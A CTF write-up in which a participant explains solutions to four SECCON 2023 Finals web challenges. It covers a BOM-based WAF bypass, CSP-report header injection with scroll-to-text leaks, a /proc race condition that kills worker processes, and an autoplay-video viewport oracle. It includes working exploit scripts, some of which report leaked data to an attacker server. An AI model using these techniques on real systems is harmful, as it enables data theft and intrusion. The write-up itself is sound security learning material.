Recently, I, Jinseo Kim, participated in SECCON CTF 2023 Finals, as the team "HK Guesser"! We placed 5th with 2206 points in the international division.
HK Guesser is the variant team name of Super Guesser. For SECCON 2023, we consisted of:
(…although hk couldn't participate in the CTF due to some circumstances 😢)
I solved the following 4 web challenges during the CTF:
The followings are the writeups for them.
Do you want a flag? 🚩🚩🚩
TL;DR: Given proxy
(sort of WAF) doesn't recognize UTF-8 BOM character for JSON parsing, while Express does.
It consists of two containers: backend
and proxy
. The proxy
was exposed to the internet.
proxy
:
app.register(require("@fastify/http-proxy"), {
upstream: "http://backend:3000",
preValidation: async (req, reply) => {
// WAF???
try {
const body =
typeof req.body === "object" ? req.body : JSON.parse(req.body);
if ("givemeflag" in body) {
reply.send("🚩");
}
} catch {}
},
replyOptions: {
rewriteRequestHeaders: (_req, headers) => {
headers["content-type"] = "application/json";
return headers;
},
},
});
backend
:
app.use(express.json());
app.post("/", async (req, res) => {
if ("givemeflag" in req.body) {
res.send(FLAG);
} else {
res.status(400).send("🤔");
}
});
In short:
proxy
proxies requests to backend
backend
with the key "givemeflag"proxy
prevents you from doing so; it blocks a JSON request with the key "givemeflag"Also there was some interesting behaviors in the code:
proxy
rewrites the Content-Type header to "application/json"proxy
parses the body to JSON if it's not an object,
that is, the request type was "text/plain" (or JSON Array/String/Number, but let's skip that cases).So what can we do here?
I found the builtin JSON body parser on Fastify; it was secure-json-parse
.
It contained the following code:
// BOM checker
if (text && text.charCodeAt(0) === 0xFEFF) {
text = text.slice(1)
}
UTF-8 BOM is a tricky character. It can be used to specify the encoding of the content, but in many cases, you can't sure if it would be even parsed successfully or not.
One example:
> JSON.parse('\ufeff{"givemeflag":true}')
Uncaught SyntaxError: Unexpected token in JSON at position 0
So straight JSON.parse()
doesn't care about the BOM character.
The above BOM checking/correcting code is from the builtin JSON body parser. This is not applied to
the parser of proxy
: When it receives the "text/plain" request, it simply passes it to JSON.parse()
.
It throws an error, and thereby the request gets allowed!
If the JSON body parser of Express, express.json()
, takes care of the UTF-8 BOM character, sending
a JSON request with a UTF-8 BOM character and "text/plain" Content-Type will give us the flag.
import requests
r = requests.post("http://198.13.36.134:3000/",
data='\ufeff'.encode('utf-8') + b'{"givemeflag":true}',
headers={'Content-Type': "text/plain"})
print("Result:", r.text)
# Result: SECCON{**MAY**_in_rfc8259_8.1}
And that seems to be the case :)
Flag: SECCON{**MAY**_in_rfc8259_8.1}
FYI: RFC 8259 8.1 specifies:
Implementations MUST NOT add a byte order mark (U+FEFF) to the beginning of a networked-transmitted JSON text. In the interests of interoperability, implementations that parse JSON texts MAY ignore the presence of a byte order mark rather than treating it as an error.
CGI is one of the lost technologies.
TL;DR: Attacker-controlled Content-Security-Policy-Report-Only
header + Lazy-loading iframe + Scroll to Text Fragment
It's a simple CGI program written in Go, but with very strict CSP.
ctf.conf
(Apache httpd configuration file):
LoadModule cgid_module modules/mod_cgid.so
ServerName main
Listen 3000
ScriptAliasMatch / /usr/local/apache2/cgi-bin/index.cgi
AddHandler cgi-script .cgi
CGIDScriptTimeout 1
Header always set Content-Security-Policy "default-src 'none';"
main.go
:
func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
if q := r.URL.Query().Get("q"); q != "" && !strings.Contains(strings.ToLower(q), "status") {
fmt.Print(q)
}
flag, err := r.Cookie("FLAG")
if err != nil {
fmt.Fprint(w, "Hello gophers👋")
} else {
fmt.Fprint(w, flag.Value)
}
})
cgi.Serve(nil)
}
In short:
default-src 'none';
.Because of the CSP, the things we can do are very limited. Nevertheless, since we can inject headers, we can think of some ideas.
First, we can inject the Content-Length
header to truncate the content, i.e. the flag.
For example, if you inject the header:
Content-Length: 7
, the user (in this case, bot) will see:
SECCON{
, which is the first seven characters of the flag. This will make some attacks easier.
Also, we can inject the Content-Security-Policy-Report-Only
header, which can be used as an oracle.
For example, if you inject the header:
Content-Security-Policy-Report-Only: default-src 'none'; report-uri http://attacker-server
, loading most external resources will be reported to the attacker's server.
This technique allows us to utilize lazy-loading content as an oracle. Well, the browser will send the CSP violation report instead of loading the content, but it works anyway!
Also, since we can truncate the flag, we can use the well-known XS-Leak technique, Scroll to Text Fragment, in order to obtain 1-bit information about the flag.
Well, since the Scroll to Text behavior is invoked only on user initated navigations, we cannot do this multiple times per single bot visit, but I tackled this problem by calling bot multiple times…
The following script runs a single binary search step.
You need to modify the value of m
and M
for every single run.
import requests
import secrets
import time
def len2path(l, fragment):
return f"http://web:3000/?q=Content-Security-Policy-Report-Only:default-src%20%27none%27%3B%20report-uri%20http://[attacker server]/{fragment}%0acontent-type:%20text/html%20asdf%0acontent-length:{157+l}%0a%0a%3Ciframe%20srcdoc=%22hi%22%20width=%22200%22%20height=%226000%22%3E%3C/iframe%3E%3Cbr%3Ehi%3Ciframe%20loading=lazy%20src=/a%3E%3C/iframe%3E"
charset = "abcdefghijklmnopqrstuvwxyz_}"
current = "SECCON{"
m = 0
M = 28
if m + 1 == M:
print("Add", charset[m], "to the current")
print("m = 0, M = 28")
exit(0)
mid = (m + M) // 2
effective = charset[m:mid]
token = secrets.token_urlsafe(6)
print("Token:", token)
print(f"Found : m = {m}, M = {mid}")
print(f"Not Found: m = {mid}, M = {M}")
print("Current set:", charset[m:M])
url = len2path(len(current) + 1, token) + "#:~:" + '&'.join('text=' + current + char for char in effective)
#print(url)
while True:
resp = requests.post("http://[bot server]:1337/api/report", json={'url':url}).text
if "Too many" in resp:
print("Retrying...")
time.sleep(5)
else:
break
Yup, I ran this script a few dozens of times during the CTF, and it took 30 minutes (since the bot is rate-limited to 2 visits/min). Now I think it would have been better to automate this, but I didn't at that time because I was… lazy and exhausted…
Anyway, this gives you the flag!
Flag: SECCON{leaky_sri}
So maybe the intended solution was utilizing SRI, rather than doing this grinding…
No password for you!
TL;DR: Race condition between two file reads.
main.py
@app.route('/', methods=['GET', 'POST'])
def index():
page = get_params(request).get('page', 'index')
path = os.path.join(PAGE_DIR, page) + '.txt'
if os.path.isabs(path) or not within_directory(path, PAGE_DIR):
return 'Invalid path'
path = os.path.normpath(path)
text = read_file(path)
text = re.sub(r'SECCON\{.*?\}', '[[FLAG]]', text)
if contains_word(path, PASSWORD):
return 'Do not leak my password!'
return Response(text, mimetype='text/plain')
@app.route('/premium', methods=['GET', 'POST'])
def premium():
password = get_params(request).get('password')
if password != PASSWORD:
return 'Invalid password'
page = get_params(request).get('page', 'index')
path = os.path.abspath(os.path.join(PAGE_DIR, page) + '.txt')
if contains_word(path, 'SECCON'):
return 'Do not leak flag!'
path = os.path.realpath(path)
content = read_file(path)
return render_template_string(read_file('premium.html'), path=path, content=content)
util.py
def resolve_dots(path):
parts = path.split('/')
results = []
for part in parts:
if part == '.':
continue
elif part == '..' and len(results) > 0 and results[-1] != '..':
results.pop()
continue
results.append(part)
return '/'.join(results)
def within_directory(path, directory):
path = resolve_dots(path)
return path.startswith(directory + '/')
def read_file(path):
with open(os.path.abspath(path), 'r') as f:
return f.read()
def contains_word(path, word):
return os.path.exists(path) and word in read_file(path)
In short:
/
endpoint, which censors flag content and block password content/premium
endpoint, which requires password and block flag contentSo, in this challenge, it seems that we should (1) get the password first at the /
endpoint
(2) then get the flag at the /premium
endpoint.
Exploiting path traversal looks easy; a//..//../password
bypasses the logic of within_directory()
.
But the problem is, contains_word()
.
def contains_word(path, word):
return os.path.exists(path) and word in read_file(path)
contains_word()
checks if the file exists and contains the word (the password or flag).
Let's see the exact logic of the /
endpoint:
text
text
text
to the user.Since it reads the file twice, there is room for a race condition!
Specifically, if you can remove the password file between two file reads, you can bypass the contain_word()
.
But, how to remove the password file?
Procfs, /proc
, provides various informations about processes.
One of them is cwd
, the symlink to the current working directory of that process.
And obviously, when a process dies, that process is removed from the /proc
.
Note that The challenge instance runs using gunicorn with 4 workers.
If you can kill a worker process, you can remove /proc/[PID]/cwd/password.txt
.
You can send only a request line and keep the socket open for 30 seconds to trigger a timeout and kill a worker process.
So, by using all of these pieces, you can obtain the password from the /
endpoint.
Obtaining the flag from the /premium
endpoint is not so different. However, this endpoint checks the file before reading the content, so you have to predict the next PID for the new worker process and exploit the race condition there.
killer.py
:
import socket
import time
while True:
print("Opening...")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('plain-blog.int.seccon.games', 3000))
s.send(b'GET / HTTP/1.1\r\n')
time.sleep(32)
print("Closing...")
phase1.py
:
import os
import requests
from tqdm import trange
trial = 0
pids = []
while True:
trial += 1
print("[*] Trial", trial)
for i in trange(2, 1024):
r = requests.get(f'http://plain-blog.int.seccon.games:3000/?page=asdf/..//..//..//proc/{i}/cwd/password')
if "Do not leak my password!" in r.text:
break
pid = i
print("[*] Pid", pid)
ret = os.system('go run phase1.go -pid ' + str(pid))
if ret == 0:
break
phase1.go
:
package main
import (
"flag"
"fmt"
"io"
"net/http"
"os"
"strings"
"sync"
"sync/atomic"
"time"
)
var closed = false
var count = int64(0)
const (
urlTemplate = "http://plain-blog.int.seccon.games:3000/?page=asdf/..//..//..//proc/%d/cwd/password"
concurrencyLevel = 256
notLeakMessage = "Do not leak my password!"
internalServerErr = "500 Internal Server Error"
)
func worker(pid int, wg *sync.WaitGroup, exitChan chan struct{}) {
defer wg.Done()
for {
select {
case <-exitChan:
return
default:
resp, err := http.Get(fmt.Sprintf(urlTemplate, pid))
if err != nil {
fmt.Fprintf(os.Stderr, "Request error: %v\n", err)
return
}
body, err := io.ReadAll(resp.Body)
resp.Body.Close()
if err != nil {
fmt.Fprintf(os.Stderr, "Error reading response: %v\n", err)
return
}
text := string(body)
if !strings.Contains(text, notLeakMessage) && !strings.Contains(text, internalServerErr) {
fmt.Println("Found:")
fmt.Println(text)
os.Exit(0)
if !closed {
closed = true
close(exitChan)
}
return
}
if !strings.Contains(text, notLeakMessage) {
fmt.Print("F")
if !closed {
closed = true
close(exitChan)
}
return
}
}
res := atomic.AddInt64(&count, 1)
if res%10000 == 0 {
fmt.Println(res)
}
}
}
func main() {
pid := flag.Int("pid", 1, "process id to check")
flag.Parse()
var wg sync.WaitGroup
exitChan := make(chan struct{})
for i := 0; i < concurrencyLevel; i++ {
wg.Add(1)
go worker(*pid, &wg, exitChan)
}
wg.Wait()
os.Exit(1)
}
phase2.py
:
import os
import requests
from tqdm import trange
cnt = 0
pids = []
for i in trange(2, 1024):
r = requests.get(f'http://plain-blog.int.seccon.games:3000/?page=asdf/..//..//..//proc/{i}/cwd/password')
if "Do not leak my password!" in r.text:
print("[*] Found pid", i)
cnt += 1
if cnt == 4:
break
pid = i + 1
while True:
print("[*] Pid", pid)
ret = os.system('go run slurk.go -pid ' + str(pid))
if ret == 0:
break
pid += 1
phase2.go
:
package main
import (
"flag"
"fmt"
"io"
"net/http"
"os"
"strings"
"sync"
"sync/atomic"
"time"
)
var closed = false
var count = int64(0)
const (
urlTemplate = "http://plain-blog.int.seccon.games:3000/premium?&password=[found password]&page=asdf/..//..//..//proc/%d/cwd/flag"
concurrencyLevel = 256
notLeakMessage = "Do not leak flag!"
internalServerErr = "500 Internal Server Error"
)
func worker(pid int, wg *sync.WaitGroup, exitChan chan struct{}) {
defer wg.Done()
for {
select {
case <-exitChan:
return
default:
resp, err := http.Get(fmt.Sprintf(urlTemplate, pid))
if err != nil {
fmt.Fprintf(os.Stderr, "Request error: %v\n", err)
return
}
body, err := io.ReadAll(resp.Body)
resp.Body.Close()
if err != nil {
fmt.Fprintf(os.Stderr, "Error reading response: %v\n", err)
return
}
text := string(body)
if !strings.Contains(text, notLeakMessage) && !strings.Contains(text, internalServerErr) {
fmt.Println("Found:")
fmt.Println(text)
os.Exit(0)
if !closed {
closed = true
close(exitChan)
}
return
}
if !strings.Contains(text, internalServerErr) {
fmt.Print("F")
if !closed {
closed = true
close(exitChan)
}
return
}
}
res := atomic.AddInt64(&count, 1)
if res%10000 == 0 {
fmt.Println(res)
}
}
}
func main() {
pid := flag.Int("pid", 0, "process id to check")
flag.Parse()
var wg sync.WaitGroup
exitChan := make(chan struct{})
for i := 0; i < concurrencyLevel; i++ {
wg.Add(1)
go worker(*pid, &wg, exitChan)
}
wg.Wait()
os.Exit(1)
}
Flag: SECCON{play_with_path_mechanics}
TL;DR: Utilizing an autoplaying video as a viewport oracle.
app.py
:
@app.get("/")
def leakable():
flag = request.cookies.get("FLAG", "SECCON{dummy}")[:18]
return render_template("index.html", flag=flag)
templates/index.html
:
<!doctype html>
<html>
<head>
<title>DOMLeakify</title>
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.0.6/dist/purify.min.js"></script>
</head>
<body>
<h1>DOMLeakify</h1>
<div id="content"></div>
<ul>
{% for i in range(flag|length) %}
{% set prefix = flag[:i+1] %}
<li id="{{ prefix }}" class="{{ prefix }}">{{ prefix }}</li>
{% endfor %}
</ul>
<script>
(() => {
const html = decodeURIComponent(location.hash.slice(1));
if (html.length > 512) return;
document.getElementById("content").innerHTML = DOMPurify.sanitize(html, {
FORBID_TAGS: ["style"], // No CSS Injection
FORBID_ATTR: ["loading"], // No lazy loading
});
})();
</script>
</body>
</html>
In short:
S
, SE
, SEC
, SECC
, SECCO
, SECCON
, SECCON{
, …
id
and class
.<style>
tag and loading
attribute are forbidden.If this didn't block the <style>
tag, we could abuse the attribute selector to leak the flag.
Also, If this didn't block the loading
attribute, we could utilize multiple XS-Leak techniques.
Well, but both of them are forbidden here, and that makes this challenge very difficult.
After pondering this challenge for a few hours, I started to read the HTML spec docs, and found this paragraph:
(…) Optionally, when the element stops intersecting the viewport, if the can
autoplay
flag is still true and the autoplay attribute is still specified, run the following substeps:
- Run the internal pause steps and set the can autoplay flag to true.
- Queue a media element task given the element to fire an event named
pause
at the element.
In summary, an autoplaying video may stop (up to the implementation) when it moves out of the viewport.
At there, I guessed that pausing a video would stop the download, which would be noticeable on the video server. So I downloaded a video, copy-and-pasted the video streaming server code which supports HTTP range requests, and tested whether moving the video out of the viewport makes the difference on downloading of a video.
test.js
:
app.get('/bbb206', (req, res) => {
fs.stat('contents/video/bbb.mp4', (err, data) => {
if (err) {
res.writeHead(404)
res.end();
throw err
} else {
if (req.headers['range']) {
let range = req.headers['range'];
var array = range.replace('bytes=', "").split("-");
var start = parseInt(array[0], 10);
var end = array[1] ? parseInt(array[1], 10) : data.size - 1;
var chunksize = 1024 * 1000;
console.log((new Date()).toISOString(), req.ip, "Current bytes:", start)
res.writeHead(206, {
'Accept-Ranges': 'bytes',
"Content-Range": "bytes " + start + "-" + end + "/" + data.size,
'Content-Length': chunksize,
'Content-Type': 'video/mp4',
'Cache-Control': 'no-cache'
});
let readable = fs.createReadStream('contents/video/bbb.mp4', { start, end });
readable.on('open', () => {
readable.pipe(res);
})
readable.on('error', (err) => {
res.end(err);
console.log(err);
})
}
}
})
})
test.html
<!DOCTYPE html>
<html>
<head></head>
<body>
<video width="500" playsinline autoplay muted>
<source src="/bbb206" type="video/mp4" />
</video>
<br>
<canvas width="200" height="6000"></canvas>
</body>
</html>
When the autoplaying video remains in the viewport, it loads the next video content after 30 seconds.
When the autoplaying video moves out of the viewport, it stops loading the next video content.
It worked! More specifically, if the autoplaying video is:
So, basically, we can use an autoplaying video as a viewport oracle.
In this problem, We have the flag contents in id
attributes. Hence, by changing
the URL fragment, we can focus (that is, move the viewport) to the element with flag.
This leaks the 1-bit information about the flag, and you can do binary search from there.
step.py
is the script which runs the single binary search step, and app.js
is
the web server code which supports the exploit.
step.py
import requests
import secrets
import time
def len2path(l, fragment):
return f"http://web:3000/?q=Content-Security-Policy-Report-Only:default-src%20%27none%27%3B%20report-uri%20http://10.2.104.4:3000/{fragment}%0acontent-type:%20text/html%20asdf%0acontent-length:{157+l}%0a%0a%3Ciframe%20srcdoc=%22hi%22%20width=%22200%22%20height=%226000%22%3E%3C/iframe%3E%3Cbr%3Ehi%3Ciframe%20loading=lazy%20src=/a%3E%3C/iframe%3E"
with open('contents/init.html') as f:
template = f.read()
#charset = "abcdefghijklmnopqrstuvwxyz_"
charset = "abcdefghijklmnopqrstuvwxyz_ABC}E"
current = "SECCON{attr_cssi"
m = 0
M = 32
if m + 1 == M:
print("Add", charset[m])
exit(0)
mid = (m + M) // 2
effective = charset[m:mid]
token = secrets.token_urlsafe(6)
print("Token:", token)
print("Match 256:", m, mid)
print("Elsewhere:", mid, M)
print("Current set:", charset[m:M])
with open(f'contents/tokens/{token}.html', 'w') as f:
f.write("""<script>""")
f.write("""w = window.open('http://web:3000/#' + encodeURIComponent('<video playsinline autoplay muted controls width="500"><source src="http://10.2.104.4:3000/bbb206?token=[TOKEN]" type="video/mp4" /></video><br><canvas width="200" height="60000"></canvas><br>'));""".replace('[TOKEN]', token))
for i, char in enumerate(effective):
f.write("""setTimeout(() => {w.location = 'http://web:3000/#[ID]'}, [TIME]);""".replace('[ID]', current + char).replace('[TIME]', str(2000 + 100 * i)))
f.write("""</script>""")
url = "http://10.2.104.4:3000/tokens/" + token + '.html'
while True:
resp = requests.post("http://domleakify.int.seccon.games:1337/api/report", json={'url':url}).text
if "Too many" in resp:
print("Retrying...")
time.sleep(5)
else:
break
app.js
const express = require('express')
const app = express()
const fs = require('fs')
app.use(express.static('contents'))
app.get('/bbb206', (req, res) => {
fs.stat('contents/video/bbb.mp4', (err, data) => {
if (err) {
res.writeHead(404)
res.end();
throw err
} else {
if (req.headers['range']) {
let range = req.headers['range'];
var array = range.replace('bytes=', "").split("-");
var start = parseInt(array[0], 10);
var end = array[1] ? parseInt(array[1], 10) : data.size - 1;
var chunksize = 1024 * 1000;
console.log((new Date()).toISOString(), req.ip, req.query.token, "Current bytes:", start)
res.writeHead(206, {
'Accept-Ranges': 'bytes',
"Content-Range": "bytes " + start + "-" + end + "/" + data.size,
'Content-Length': chunksize,
'Content-Type': 'video/mp4',
'Cache-Control': 'no-cache'
});
let readable = fs.createReadStream('contents/video/bbb.mp4', { start, end });
readable.on('open', () => {
readable.pipe(res);
})
readable.on('error', (err) => {
res.end(err);
console.log(err);
})
}
}
})
})
app.listen(3000)
You should create contents
, contents/tokens
, contents/video
directory.
Also, you should put the long video file in contents/video/bbb.mp4
.
This single search step was a little bit unstable; sometimes the 1-bit result was wrong. I'm still not sure why. On my laptop, a video sometimes stopped the playing with memory or ffmpeg(???) error, but I didn't fully confirm taht this is the reason.
Anyway, repeating to run this script for 50 minutes gave us the flag!
Flag: SECCON{attr_cssi}
As the flag indicates, the intended solution utilizes inline style.
TODO…